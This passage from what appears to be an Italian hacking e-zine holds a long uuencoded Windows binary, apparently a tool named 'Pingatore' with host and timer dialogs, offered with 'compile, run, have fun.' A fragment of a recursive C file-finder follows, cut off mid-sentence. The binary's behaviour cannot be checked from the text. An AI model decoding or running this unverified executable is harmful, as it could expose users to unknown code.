MT.2<U7/B[OSX/_[KZ_[(>`I2T77ELD#K__#AB\*Q!M/@6UIO]]#WQ_[3@_+_
M:M!J_,&`@.EGX>'_4H]:>052[UK#WS_VQH!T!^BU@13UPSK!=0[>\&X*.]>+
M_L-:"]IT>X<UBN[HR0?WVD[1V@#M_?"XH(":#(?3L)`.=02&PW#RL(CP>`A[
M`]L3^/[8^`KM>`/;Z<.3L:`J[X?+<EN*WG[I@/D@<U+[#T,0<@F*_&$STGH0
M;[UOZ@V*^&WIXG'M<^W8T-\`;W/JN?("_Q4`B.L5[S]1DP\*VWG_,MX"V\.*
M_KB$_^"Z_732P^CL_'([P_[+Z.+Z-<M*X?.+^NB=QQ_]<BG+JRKHEOYR'X;P
MY`?__"W\M0#H`0YC_W?X`>A;_B'X<I'/`.DP[KC-^BKX]?I(R23NB\^^49'_
MP7D1,=SWVY+;S@<`3R+1/0HM09MQD_?V_9=P"N&OYHA@T`O3=>,KSR;Q__$'
MX?;C72:`/2MT!_HM=1__!4Y'271,]21T2":*'[email protected]@,,*<R7VQO!U-E,N
MRL7_4E"UP_Q;`\-;$]-;,H#W__@)1^+0?_,/"[Z8]@C_,_)X`6B!KOK&';3[
M87WK(*S\<@O"<?@7^`9SR?.W!'IAKW+4_L^T\=#BT??ON_@*^,-FT8/L%%>#
M^0L/N0LP_`#X]7WX]?^)3OY_'XAV_`97C7[L_['1`%\''O[N^HMV_L1X#`-V
M^D;_#WD(QD;L`.LN]]Z#_@SAAX:^QH!Z[#7&0NP?\'(:3G@/_O?P.79T^`[N
MZ^['U#$`_T8?_OHS]OR+5KS2>#7V1OP_^(!T`[`MJHNIB;$%L##APZKKF%T`
MJDEY=M)__'1,L"ZJ070&ZDIU]TJ%<W@]-''@][`@R0(<CLGH,N]"=`K"']E^
MB?9U^;!%JK`KX`"CL])Y!.#P_R&GPK(*]OH%,#"KB\\[/%\KS^?)PXIS1@K`
M=>R&B3!.CN%U#12QN.#;__SSJ\^!PU;I4"R`M$WV[`7__P4`BL28B\A8@_G9
M=0%!45?_?_?9Z$0!7UD\@7,$Z,<!25&_#CCIL80JR+")F<S0";X,_X?*[K$$
MTNV`Q3`FB"VQJS\/4E,Q\I'A^OQ9`\%9$]GTW?W1\?Q'3G7/MND`67WTAO`(
MM'KX_?K]_.-A__<FB@6(1OX\('0(/"OOJ2UU?[\"1TGH@@!R2/K1"C/;XQ>?
M8[OI+G41XSCX,N-E&.+C*_?G*L8\>/A%S65U'^I3Z'C]__];<A,#V(ORF3OR
M=0H]0`!]_W`%/<#_?P/YZS$HBLN+^/^-BU[ZBU;\@/G<?0I1APNQW.A;;X#!
M)#Z!_:,0<OO;@'[^+?AU`PP8_[WRA#F=+#H$"G,P"%]#GKJ8F>C@^Y;D]P2Q
M_^B@9G'H8ODM`1[OB>^R6W/%PP[WFMI\2?LF?T3D\0K)__^<>0+VV8K9@./\
MBOO0ZP+?_S`R_XV_V14NBP7]70)\P?Q5!(#A`VO9=*#Q_H?YGOR=6%M:>`/I
MR_G]3_'Z^<.!`/^._$`<\/^;^R"\/J@`$*74:+8$__^_R1L.PZS%ZW@MT,W.
M&\)3___>^7@Y/P'K*ZBMQ1WXR7O.\6B70"1)458I[ZG`]8=5\C;S^OQ>`\9>
M$][]^PW6<PL#S(#!`7(9.=`)!]2OZNX'S.F*P00#7CSUX?T;F0X#$(U^`,SA
MPOL>BSO\]Q8?\VI6!N<,.\)^`L>'B\([ROK*.\%]^CM\P?RJB7D(42>P(/.J
M6=7[TIG4MRVYY:M'XPD?\2!U`]_O1^+WZ*W[$ID)B\\K3B-Y,ZZ'TL&JB0T2
MO!:H#?P[]UX_U`/Q`_E.3_VJ_!6K]*LJ_@@@JO.JW7G(Z`8`R^C__P(`_RV+
M700[1P)U!(M_!,,_'HS>CL:+\_S7B]&-[N_.\J]T\UD?"]MU[5A2:A`?_NE*
MT>(KT?P#^HE$`HD@`'S/`/``&`!05Y``__`#`2<`!P`>`/@P``@QA@`%^#GP
MA/8QQ@%1^'+PQ^@XQ`'X<0'PJ?@8AY_X&?@K`O@8XP_X-O@2^$P08P/X%?A7
M^!.,\?A<^!&NQ@0_P_\`#`$"`,KXZ/1YB`0)F(L*X#%#S/8C#N@-X"808_CP
M/O@/\$&&&/CP5/@.,\3P5_CP<?B8!1#P=O@`\````````````````%!7'@4Q
M.0#_!?O__9@$`?SZ^^S)@,J`RX,?@/__\OSX"RL`U?\0]<?>Z/@/_/@["3$R
M-RXP_AJ',7?X"O_XZF3\Z`/\_S]%<G)O<B!L;V%D:6YG(%?\./MS;V-K`%#S
M870,\.=E(/_<4$E._O]'[?@-:&]S=`!0:6YG871O<O#'+N9I`$1I;64`Y9@'
M5/ARTV]N]U1?[]/][O[3^!(`$@#N;O$'$"SP04UAH_II_OXO]F-T;#-D=C(N
M9&QL]/P,R$-G:72-P[_R874Q<W5B8VQA<W/KK>[\=6[>___X"0P`]&+X)+2R
M\1YV*.HFZ0$"`?T$`MKX$]8"@OO:^P<`".S_80*?T>G]_.@DZ$<-"IPP,?_?
M,C,T-38W.#E!0D-$148R_/_X"0`5`10!$0$0?((`!@<S`!$`%,VL^")V(D"`
MI\XB(\P0`0&Z#Q;K]NH8$@%H^"<G`-FV\"3<^!O_^`]/,?]7,?PR]%LNQ!_J
MW_L`5'5R8F\WZ61O=R+M8V]D_X=E(#T@)60N($-O;G3E_P-U93\`07!P;&EC
M8?)DX>X@V1S^'@&`_TT"@!`!$0`0`)`%>/@7`1KTU>3A__@0!.H=\__X%0)2
M&')U?VUQ968P"#3_('WY,#I5`/LN1/$`\`!O`%!700+_$`,`(`#_``0`^"1C
MC/@%^"CX!C'&^"SX!_AH^!AC`O@X^`CX;(PQ^`GX9/C%QACX4/C&^'QCC/BZ
M^(#XNS'&^#SXP_A`^!AC3?A$^$[X2(PQ^$_X3/A8Q@CX5/A9^!!C]/A:^%SX
M6XP`^&#X]!$@^'#X]/ATQICX8?AX^&)"C%@"^`WX&#'&^)7X'/B6^)@P(/B7
M,/B888PX^)GX,#$F^)OX-/B<,$R8^)U8^)XP85CXGUCXH,*$6/BA6`D3^*(8
M^*-0QACXI/B^^!MCC/BV^,[XNC'&^-/XPOC5^!ACQOC6^,KXUXPQ^,[XV/C2
MQACXV?CH^"1CC/CL^"7X\#'&^";X]/@G^!B'^/@H^`@#^!@3./@,^#D0)BSX
M+6#X+M#R)DSX'DCX<9BP*/AT$/AU6#3H\OAVZ/+X>/(D&HWX>/(H^'CR+$:C
M^'CR-/AX\CSXT5B`\D#X@/),^%\`^C0:^'CR5/AX\EB-,?AX\I#X9_B4QACX
M:/B8^&ECC/B<^&KXH#'&^&OXI/AL^!ACJ/AM^*SX;HPQ^+#X;_C0QACX=_C4
Pagina 47
netrun9.txt
M^'ACC/C8^'KXW#'&^'OXX/A\^%@LY/A]P/+X?L#R%HOX?\#R^(#`\G&(^('X
M``3XA+%8^`3XAKCR^(>X\HPQ^(GX$/B*QF+X%/B+J/+XC#'\T/+XC_@!)`0%
M`!AC\?@H^._X+,1Q^#@!,/B_`8@Q^#3X-/@X)DSX`3#(O1AC,/B^^+3XOXPQ
M^+CXP/B\QKCXP?C`^,(`````\``````````````````H````(````$`````!
M``0````````"````````````````````````````````@```@````("``(``
M``"``(``@(```,#`P`"`@(````#_``#_````__\`_P```/\`_P#__P``____
M`/__________________________________________________________
M____________________________________________________```/____
M__```/______`1$1$`____`#,S,`____\!$1$1$0__\#,S,S,P___PF1D1D1
M$0_P,[,S,S,P__\!&1$1$1$/\+LS,S,S,/_PD9$9&1$1$`L[.S,S,S,/\)F9
M&1&1$1`#N[.S,S,S#_`9D9D9&1$0"[.[L[,S,P_PF9F9D1&1D`.[L[L[,S,/
M\)F9D9F1$1`+L[.SNS,S#_"9F9F9$9$0"[N[.[.S,P__"9F9D9F9#_"[N[NS
MLS#__PF9F0F1$0_PN[N[N[,P___PF9"0&9#__PN[,[L[#____P`/#P`/___P
M`P,[`/______\`________```/________#_________\/________\`____
M______\``/_____P#________P``\*H/____\`________"JH/"JH/______
M______\*JJ#_"J#____________PJJH/__``_____________P``________
M____________________________________________________________
M________________________````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````SX`+$@`2`/D`?0```%!I;F=A=&]R92`@
M(``$``8`&``(`/__```"4((F2&]S=```&``$`-``#`!E`(``@5"!```$`!P`
M$``(`/__```"4((@1&EM90``&``8`!@`#`!F`(``@5"!```T`!P`+``(`/__
M```"4((@("`@("`@(%1I;65R(```8``8`"``#`!G````@5"!``"$`!0`'``0
M`,D``0`!4(!);FEZ:6\``*``%``<`!``R@````%0@$9I;F4@``"\`!0`'``0
M`,L````!4(!4;V=L:2```-@`%``<`!```@````%0@$-H:75D:0``'``L`-``
M"`!I`````E""```````````````````!``$`("`0``0``0#H`@```0``````
M```````````H````/P```"<````!``0``@```'H#````````````````````
M````````````@```@````("``(````"``(``@(```("`@`#`P,````#_``#_
M````__\`_P```/\`_P#__P``____`$`````"#SQW`@````(/`O<Z=P(````"
M#P+X.(@"=P(````"#P+X.(@"=P(````"#P+X.(@"=P(````"#P+X"(@$=P)X
M*H@"=P(````"#P+X!H@"AP9W*H@"=P(````"#P+X!H@$``('`G<JB`)W`@``
M``(/`O@$B`*.`F`$``)W*H@"=P(````"#P+X!(@"C@3,`L`"=RJ(`G<"````
M`@\"^`2(``J.QN[`=P`JB`)W`@````(/`O@$B``*CL".P'<`*H@"=P(````"
M#P+X!(@`"H[`!L!W``2(!``""!*(`H`,B`)W`@````(/`O@$B`*.!,P"P`)W
M'(@"@`R(`G<"`````@\"^`2(`HX$S`+``G<$B``.@`"(@`"(@``$B``,@``(
M@``(!H``!HAW``````(/`O@$B`*.!,P"P`)W!(@""`*(!`@"B`0(!(@""`*(
M!(`"B`*`"(@"=P(````"#P+X!(@"C@3,`L`"=PB(!`@$B`((!(@""`*(!(`"
MB`*`"(@"=P(````"#P+X!(@"C@3,`L`"=PB(`@@$``*(`@@$B`((`H@$@`*(
M`H`(B`)W`@````(/`O@$B`*.!,P"P`)W!(@`"H``B`B(``0(!(@""`*(!(`"
MB`*`"(@"=P(````"#P+X!(@"C@3,`L`"=P2(`@@$B``(@`"(``2(`@@"B`2`
M`@`""`B(`G<"`````@\"^`2(`HX$S``*P'=XB`@`"H@""`2(``8(B(``#H@"
M=P(````"#P+X!(@"C@3,`L`$=P`(B`B("`:(`@@$B``&"(B```Z(`G<"````
M`@\"^`2(`FP&S``*!W=X@```#H@`!@B(@``.B`)W`@`````(#_B(A@C,`L`$
M=R:(`G<"``````@/^(AL"LP"!P)W)H@"=P(`````!@_XC@`$S``,!XCLS,!W
M)H@"=P(`````%@_XCLS`=XB.S,!W`":(`G<"`````!8/^([,P'>(CLS`>``F
MB`)W`@`````4#_B.S,!WB([,P"B(`G<"``````H/^(CLP``$B``&CLP(`"B(
M`G<"``````H/^(B.Y@`$B`*.`N8JB`)W`@````(/`O@XB`)W`@````(/`O@X
MB`)W`@````(/`O@XB`)W`@````(/`O@XB`)W`@````(/.O\"AP(````"#SK_
M`O@"````0``````!```````````````````H````/P```!X````!``0``@``
M`)0"````````````````````````````````@```@````("``(````"``(``
M@(```("`@`#`P,````#_``#_````__\`_P```/\`_P#__P``____`$`````"
M!SQW`@````(//'<"`````@\Z_P)W`@````(/"/\"]P1W+/\"=P(````"#PC_
M!G<"?RK_`G<"`````@\&_P+P!``"=P)_*O\"=P(````"#P;_`NP$S`('`G\J
M_P)W`@````(/!O\`"NQN[`=_`"K_`G<"`````@\&_P`*[`?L!W\`*O\"=P(`
M```"#P;_``KL`&P'?P`<_P+P#/\"=P(````"#P;_`NP$S`('`G\<_P+P#/\"
M=P(````"#P;_`NP$S`('`G\$_P`.\`#_\`#_\``$_P`,\``/\``/!O``!O]W
M``````(/!O\"[`3,`@<"?P3_`@\"_P0/!/\"#P3_`@\"_P3P`O\"\`C_`G<"
M`````@\&_P+L!,P"!P)_"/\"#P0`!`\$_P(/`O\$\`+_`O`(_P)W`@````(/
M!O\"[`3,`@<"=P3_``KP`/\/_P`$#P3_`@\"_P3P`O\"\`C_`G<"`````@\&
M_P+L!,P`"@=W?_\/``3_``CP`/\`!/\"#P+_!/`"``(/"/\"=P(````"#P3_
M`OP&S`+`!'<`"/\/_P\&_P(/!/\`!@__\``._P)W`@````(/!/\*S``*!W=_
M\```#O\`!@__\``._P)W`@`````&#__\``K,``;`=W\`)O\"=P(`````!@__
M[``,S`('`G\F_P)W`@`````.#__LS,!__@`$S`('`G\F_P)W`@`````4#__L
MS`=__^S,!RC_`G<"`````!0/_^S,!W__[,P/*/\"=P(`````"@___LP/``3_
M`NP"P"K_`G<"`````@\$_P+N`F\$_P+N`F\J_P)W`@````(/.O\"=P(````"
M#SK_`G<"`````@\Z_P+W`@```$```````0`````H````/P```"<````!``0`
M`@```#H#````````````````````````````````@```@````("``(````"`
M`(``@(```("`@`#`P,````#_``#_````__\`_P```/\`_P#__P``____`$``
Pagina 48
netrun9.txt
M```"!SR(`@````('/(@"`````@<\B`(````"!PR(!'<">"J(`@````('"H@"
MAP9W*H@"`````@<*B`*'!G<JB`(````"!PJ(`H<&=RJ(`@````('"(@$```(
M!X=WB":'`H@"`````@<&B`*.`F`$``1W*H@"`````@<&B`*.!,P"P`1W`H<F
MB`*'`@````('!H@`"([&[L`$=P2(!``""!*(`H`,B`(````"!P:(``B.P([`
M!'<"AQJ(`H`*B`*'`@````('!H@`"([`!L`$=P2(``Z``(B``(B```2(``R`
M``B```@&@`*(`@````('!H@"C@3,`L`$=P`(AX@(B`0(`H@$"`2(`@@"B`2`
M`H@"@`:(`H<"`````@<&B`*.!,P"P`1W"(@$"`2(`@@$B`((`H@$@`*(`H`(
MB`(````"!P:(`HX$S`+`!'<"AP:(`@@$``*(`@@$B`((`H@$@`*(`H`&B`*'
M`@````('!H@"C@3,`L`$=P2(``J``(@(B``$"`2(`@@"B`2``H@"@`B(`@``
M``('!H@"C@3,`L`$=P`&AX@(``2(``B``(@`!(@""`*(!(`"``((!H@"AP(`
M```"!P:(`HX$S`+`!'<`!GB("``*B`((!(@`!@B(@``.B`(````"!P:(`HX$
MS`+`!G<`"'@(B`@&B`((!(@`!@B(@``,B`*'`@````('!H@"C@3,`L`&=P`&
M>(````Z(``8(B(``#H@"`````@<&B`*.!,P"P`*(!G<DB`*'`@````('!H@"
M;`;,`@@"AP1W)H@"`````@<$B`*&",P"P`*'!'<DAP*(`@````('!(@";`K,
M`@<$=R:(`@`````&!XB.``3,``X'=^S,P'=X`":(`@`````6!XB.S,"'=X[,
MP'<`*(@"``````H'B([,P``$B``&CLS``"J(`@`````*!XB.S,``!(@`!H[,
MP``JB`(````"!P2(`NP"P`2(``:.S`@`*H@"`````@<$B`*.`N8$B`*.`N8L
MB`(````"!SR(`@````('/(@"`````@<\B`(````"!SR(`@````('/(@"````
M`@<\=P(```!```````$``````````````````"@````_````'@````$`!``"
M````D@(```````````````````````````````"```"`````@(``@````(``
M@`"`@```@("``$!`0````/\``/\```#__P#_````_P#_`/__``#___\`0```
M``('//\"`````@<*_P+W!'<L_P(````"!PK_!G<"?RK_`@````('"O\&=P)_
M*O\"`````@<*_P`(=W]W?RK_`@````('!O\"\`0`!'<"?RK_`@````('!O\"
M[`3,``@'=W__)O`"_P(````"!P;_``[L;NP'=W_P`!K_`O`,_P(````"!P;_
M``SL#^P'=W\<_P+P"O\"\`(````"!P;_`![L`&P'=W_P__``__``__``!/\`
M#/``#_``#P;P`O\"`````@<&_P+L!,P`!@=W?P`$_P(/`O\$#P3_`@\$_P(/
M`O\$\`+_`O`&_P+P`@````('!O\"[`3,``@'=W_P!O\"#P0`!`\$_P(/`O\$
M\`+_`O`(_P(````"!P;_`NP$S`('!'<$_P`*\`#_#_\`!`\$_P(/`O\$\`+_
M`O`&_P+P`@````('!O\"[`3,`@<$=P`&</\/``3_``CP`/\`!/\"#P+_!/`"
M``(/"/\"`````@<&_P+L!,P"!P9W``C_#_\/!O\"#P3_``8/__``#/\"\`(`
M```"!P;_`NP$S`('!G<`!G_P```._P`&#__P``[_`@````('!/\"_`;,`L`&
M=P)_)/\"\`(````"!P3_"LP"!P1W`G\F_P(`````!@?__``*S`+`!'<"<"3P
M`O\"``````8'_^P`#,P"!P)W*/\"``````X'_^S,P'=^``3,`@<"?RC_`@``
M```*!__LS`\`!/\`!NS,#P`J_P(`````"@?_[,P/``3_``;LS`\`*O\"````
M``H'__[,#P`$_P+L`L`L_P(````"!P3_`NX";P3_`NX";RS_`@````('//\"
M`````@<\_P(````"!SQW`@```$```````0```````"@````_````)P````$`
M!``"````D`,```````````````````````````````"```"`````@(``@```
M`(``@`"`@```@("``,#`P````/\``/\```#__P#_````_P#_`/__``#___\`
M0`````((/'<"`````@\"ASIW`@````(/`O@XB`)W`@````(/`O@XB`)W`@``
M``(/`O@XB`)W`@````(/`O@(B`1W`G@JB`)W`@````(/`O@&B`*'!G<JB`)W
M`@````(/`O@&B`0``@<"=RJ(`G<"`````@\"^`2(`HX"8`0``G<JB`)W`@``
M``(/`O@$B`*.!,P`!L!WB``FAP`&B'<``````@\"^`2(``J.QN[`=P`JB`)W
M`@````(/`O@$B``,CL".P'>')H@`!H=W``````(/`O@$B``*CL`&P'<`!(@$
M``(($H@"@`R(`G<"`````@\"^`2(`HX$S``&P'>'`!J(`H`*B``&AW<`````
M`@\"^`2(`HX$S`+``G<$B``.@`"(@`"(@``$B``,@``(@``(!H``!HAW````
M``(/`O@$B`*.!,P`#,!WAX@(B`0(`H@$"`2(`@@"B`2``H@"@`:(``:'=P``
M```"#P+X!(@"C@3,`L`"=PB(!`@$B`((!(@""`*(!(`"B`*`"(@"=P(````"
M#P+X!(@"C@3,``;`=X<`!H@""`0``H@""`2(`@@"B`2``H@"@`:(``:'=P``
M```"#P+X!(@"C@3,`L`"=P2(``J``(@(B``$"`2(`@@"B`2``H@"@`B(`G<"
M`````@\"^`2(`HX$S``*P'>'B`@`!(@`"(``B``$B`((`H@$@`(``@@&B``&
MAW<``````@\"^`2(`HX$S``*P'=XB`@`"H@""`2(``8(B(``#H@"=P(````"
M#P+X!(@"C@3,`L`$=P`(>`B("`:(`@@$B``&"(B```R(``:'=P`````"#P+X
M!(@";`;,``H'=WB````.B``&"(B```Z(`G<"``````@/^(B&",P"P`1W)(@`
M!H=W```````(#_B(;`K,`@<"=R:(`G<"``````8/^(X`!,P`#`>([,S'=R2'
M``:(=P``````%@_XCLS`=XB.S,!W`":(`G<"`````!8/^([,P'>(CLS`>``F
MB`)W`@`````4#_B.S,!WB([,P"B(`G<"``````H/^(CLP``$B``&CLP(`"B(
M`G<"``````H/^(B.Y@`$B`*.`N8JB`)W`@````(/`O@XB`)W`@````(/`O@X
MB`)W`@````(/`O@XB`)W`@````(/`O@XB`)W`@````(/.O\"AP(````"#SK_
M`O@"````0``````!```````````H````/P```!X````!``0``@```*("````
M````````````````````````````@```@````("``(````"``(``@(```("`
M@`!`0$````#_``#_````__\`_P```/\`_P#__P``____`$`````"!SQW`@``
M``(//'<"`````@\Z_P)W`@````(/"/\"]P1W+/\"=P(````"#PC_!G<"?RK_
M`G<"`````@\&_P+P!``"=P)_*O\"=P(````"#P;_`NP$S`('`G\J_P)W`@``
M``(/!O\`"NQN[`=_`"K_`G<"`````@\&_P`,[`?L!W__)O``!O]W``````(/
M!O\`#.P`;`=_\!K_`O`,_P)W`@````(/!O\"[`3,`@<"?QS_`O`*_P`&\'<`
M`````@\&_P+L!,P`%@=_\/_P`/_P`/_P``3_``SP``_P``\&\``&_W<`````
M`@\&_P+L!,P"!P)_!/\"#P+_!`\$_P(/!/\"#P+_!/`"_P+P!O\`!O!W````
M``(/!O\"[`3,``8'?_``!O\"#P0`!`\$_P(/`O\$\`+_`O`(_P)W`@````(/
M!O\"[`3,`@<"=P3_``KP`/\/_P`$#P3_`@\"_P3P`O\"\`;_``;P=P`````"
Pagina 49
netrun9.txt
M#P;_`NP$S``*!W=P_P\`!/\`"/``_P`$_P(/`O\$\`(``@\(_P)W`@````(/
M!/\"_`;,`L`$=P`(_P__#P;_`@\$_P`&#__P``S_``;P=P`````"#P3_"LP`
M"@=W?_````[_``8/__``#O\"=P(`````!@___``*S``&P'=_`"3_``;P=P``
M````!@__[``,S`('`G\F_P)W`@`````.#__LS,!__@`$S`('`G`D\``&_W<`
M`````!0/_^S,!W__[,P'*/\"=P(`````%`__[,P'?__LS`\H_P)W`@`````*
M#__^S`\`!/\"[`+`*O\"=P(````"#P3_`NX";P3_`NX";RK_`G<"`````@\Z
M_P)W`@````(/.O\"=P(````"#SK_`O<"````0``````!````````P`#(D`54
M`#,`CP!`````4')I;G0`"`!(96QV`#0`+``C`!$``@````%0@$-A;F-E;```
M```$`)``"`#__P$``E""4')I;G1I;F<`````#`"0``@`90`!``)0@B5S````
M`!0`D``(`&8``0`"4()O;B!T:&4@)7,@4')I;G1E<@`````<`)``"`!G``$`
M`E""8V]N;F5C=&5D('1O("5S``````````````````````#``,B0!Q(`$@".
M`$P``$)O<D1L9P!0<FEN=``(`$AE;'8`-``P`",`%``"`````5!"3U)"5$X`
M0V%N8V5L```$``0`A``(`/__`0`"4()0<FEN=&EN9P``!``,`(0`"`!E``$`
M`E"")7,```0`%`"$``@`9@`!``)0@F]N('1H92`E<R!0<FEN=&5R```$`!P`
MA``(`&<``0`"4()C;VYN96-T960@=&\@)7,```,``P"(`"0`:``!``!00F]R
M4VAA9&4```#__RP`D``"`&D``@``4$)O<E-H861E`````,``R(`/$@`2`*D`
M9@```%!R:6YT``@`2&5L=@`$``0`;@`(`&8````"4()0<FEN=&5R(&YA;64`
M``P`&0!C``T`9P`)``%0@"9!;&P```P`)@!B``T`:``)``%0@"9396QE8W1I
M;VX```P`,P!B``T`:0`)``%0@"9086=E<P``%@!%`!0`"`!J`````E"")D9R
M;VTZ```L`$$`$``,`&L`@`"!4($``$@`10`,``@`;`````)0@B94;SH``%8`
M00`0``P`;0"``(%0@0``>P`&`"D`#@`!`````5"`3TL``'L`&0`I``X``@``
M``%0@$-A;F-E;```>P`M`"D`#@!E`````5"`4V5T=7`N+BX```,`60`<``P`
M__\```)0@B9#;W!I97,Z```>`%4`%``,`&\```"!4($``#L`5P`Z``P`<``"
M``%0@$-O;&QA=&4@0V]P)FEE<P``!``0`&\`00!M``<``%"`4')I;G0@4F%N
M9V4``````````````,``R(`3$@`2`+$`:P``0F]R1&QG`%!R:6YT``@`2&5L
M=@`&``0`=``(`&8````"4()0<FEN=&5R(&YA;64```0`$@!X``@`__\```)0
M@E!R:6YT(%)A;F=E```)`!T`9@`*`&<`"0`#4$)O<E)A9&EO`"9!;&P```D`
M)P!G``H`:``)``%00F]R4F%D:6\`4R9E;&5C=&EO;@``"0`Q`&X`"@!I``D`
M`5!";W)2861I;P`F4&%G97,``!4`/P`4``@`:@````)0@B9&<F]M.@``*P`[
M`!``#`!K`(``@U"!``!'`#\`#``(`&P````"4((F5&\Z``!3`#L`$``,`&T`
M@`"!4($```<`5``<``@`__\```)0@B9#;W!I97,Z```B`%(`&``,`&\```"!
M4($Q```^`%,`/``*`'```P`!4$)O<D-H96-K`$-O;&QA=&4@0V]P)FEE<P``
MB``$`",`&0`!``$``5!";W)"=&X`3TL``(@`)``@`!0``@````%00F]R0G1N
M`$-A;F-E;```B`!#`"``%`!E`````5!";W)"=&X`)E-E='5P+BXN```$`!H`
M>``P`/__`0``4$)O<E-H861E````!`!/`'@`$@#__P$``%!";W)3:&%D90``
M``0``P!X``P`__\!``!00F]R4VAA9&4```"$`````0!M`'$``P``4$)O<E-H
M861E``````````````````#``,B`!1(`$@"4`#H```!396QE8W0@4')I;G1E
M<@`(`$AE;'8`!``0`(P`/`!D`$,`(5"%```0`"0`)``0``$``0`!4(!/2P``
M.@`D`"0`$`!E`````5"`)E-E='5P+BXN``!D`"0`)``0``(````!4(!#86YC
M96P```0`!`",``P`__\```)0@B90<FEN=&5R(&%N9"!P;W)T````````P`#(
M@`82`!(`G@!"``!";W)$;&<`4V5L96-T(%!R:6YT97(`"`!(96QV``@`#`",
M`#T`9`!#`"%0A0``0``D`"``%`!E`````5!"3U)"5$X`)E-E='5P``!J`"0`
M(``4``(````!4$)/4D)43@!#86YC96P```@`!`",``@`__\```)0@B90<FEN
M=&5R(&%N9"!P;W)T```4`"0`(``4``$``0`!4$)O<D)T;@!"=71T;VX`````
M(`"@``(`9@`"``!00F]R4VAA9&4```````0@;VX@%2<E<R<@;F]T('!R:6YT
M960N("5S+@U/=70@;V8@;65M;W)Y$4]U="!O9B!D:7-K('-P86-E$E!R:6YT
M:6YG(&-A;F-E;&5D+B)0<FEN=&EN9R!A8F]R=&5D(&EN(%!R:6YT($UA;F%G
M97(N'T5R<F]R(&5N8V]U;G1E<F5D(&1U<FEN9R!P<FEN="X+4')I;G0@17)R
M;W(`````````````````````````P`#(``H4`!@`R@""````1FEL92!/<&5N
M``@`2&5L=@`&``@`)``*`/__```"4()&:6QE)FYA;64Z```J``8`8@`,`&0`
M@`"!4($```8`%``D``H`__\```)0@D1I<F5C=&]R>3H``"H`%`!B``H`90``
M``)0@@``!@`@`$``"@#__P```E"")D9I;&5S.@``!@`L`$``4@!F``,`H5"#
M``!,`"``0``*`/__```"4((F1&ER96-T;W)I97,Z``!,`"P`0`!2`&<``P"A
M4(,``)(`!0`R``X``0`!``%0@$]+``"2`!<`,@`.``(````!4(!#86YC96P`
M`````````,``R``(%``8`,H`@@```$9I;&4@4V%V92!!<P`(`$AE;'8`!@`(
M`"0`"@#__P```E""1FEL929N86UE.@``*@`&`&(`#`!D`(``@5"!```&`!0`
M)``*`/__```"4()$:7)E8W1O<GDZ```J`!0`8@`*`&4````"4((```8`+`!`
M`%(`9P`#`*%0@P``!@`@`$``"@#__P```E"")D1I<F5C=&]R:65S.@``D@`%
M`#(`#@`!``$``5"`3TL``)(`%P`R``X``@````%0@$-A;F-E;```````````
M````````0`#`@`04`!@`M`!```````@`2&5L=@`*`!0`H``,`&4`@`"!4($`
M``H`"`"@``H`9`````)0@@``+P`J`"@`#@`!``$``5"`3TL``%T`*@`H``X`
M`@````%0@$-A;F-E;````````````````````,``R(`.&``3`,<`AP``0F]R
M1&QG`$9I;&4@3W!E;@`(`$AE;'8`"``(`"0`"@#__P```E""1FEL929N86UE
M.@``+``&`&@`#`!D`(``@5"!```(`!0`)``*`/__```"4()$:7)E8W1O<GDZ
M```L`!0`:``*`&4````"4((```@`)P`5``@`__\```)0@B9&:6QE<SH```@`
M,`!``%(`9@`#`*%0@P``5``G`"@`"`#__P```E"")D1I<F5C=&]R:65S.@``
M5``P`$``4@!G``,`H5"#```$``0`E``<`&@``0``4$)O<E-H861E````!``D
M`$@`8`!I``$``%!";W)3:&%D90```*``!P`D`!@``0`!``%00F]R0G1N`$)U
M='1O;@``H``E`"0`&``"`````5!";W)"=&X`0G5T=&]N``"<`/__!`"(`&H`
Pagina 50
netrun9.txt
M`P``4$)O<E-H861E````4``D`$@`8`!K``$``%!";W)3:&%D90``````````
M`````````,``R(`+%``8`,H`AP``0F]R1&QG`$9I;&4@4V%V92!!<P`(`$AE
M;'8`"``(`"0`#`#__P```E""1FEL929N86UE.@``+``(`&``#`!D`(``@5"!
M```(`!0`)``(`/__```"4()$:7)E8W1O<GDZ```L`!0`8@`*`&4````"4((`
M``@`,`!``%(`9P`#`*%0@P``"``E`$``"`#__P```E"")D1I<F5C=&]R:65S
M.@``!``$`(P`&P#__P$``%!";W)3:&%D90````0`)`!(`&``__\!``!00F]R
M4VAA9&4```"D``0`(``4``$``0`!4$)O<D)T;@!"=71T;VX``*0`(``@`!0`
M`@````%00F]R0G1N`$)U='1O;@``H`````(`B`!I``,``%!";W)3:&%D90``
M````````````````P`#(@`44`!@`M`!+``!";W)$;&<```@`2&5L=@`*`!0`
MH``,`&4`@`"!4($```H`"`"@``H`9`````)0@@``!@`%`*@`(`!F``$``%!"
M;W)3:&%D90```"H`+``D`!@``0`!``%00F]R0G1N`$)U='1O;@``9@`L`"0`
E&``"`````5!";W)"=&X`0G5T=&]N````````````````````````
`
end
sum -r/size 32483/39232
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
<----------- TAGLIA QUI
-------------------------------------------------------------------------->
Indicazioni per l'uso.
Compilare, eseguire .. divertirsi. :))
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------9. Find file ultrarapido (e applicazione d'esempio)
//-------------------------------------------------------------------------------------------------Una procedura decisamente veloce per recuperare informazioni da un hd.
int vedi(char *dir,char *spec){
struct ffblk trova;
int t;
char s[0xff];
metti("*.*");
t = findfirst(s,&trova,FA_DIREC);
while(!t){
if(strstr(nome,spec))
printf("%4d %s\\%s\n",c++,dir,nome);
if(trova.ff_attrib==0x10){
if(trova.ff_name[0]!='.'){
metti(nome);
vedi(s,spec);}}
t=findnext(&trova);}}
Tramite la struttura ffblk vengono recuperate le informazioni dalla table list
sui nomi delle directory
e dei file mettendoli a disposizione per eventuali elaborazioni.
Usavo questo sistema (TANTO TEMPO FA!) per fare delle -piccole- modifiche
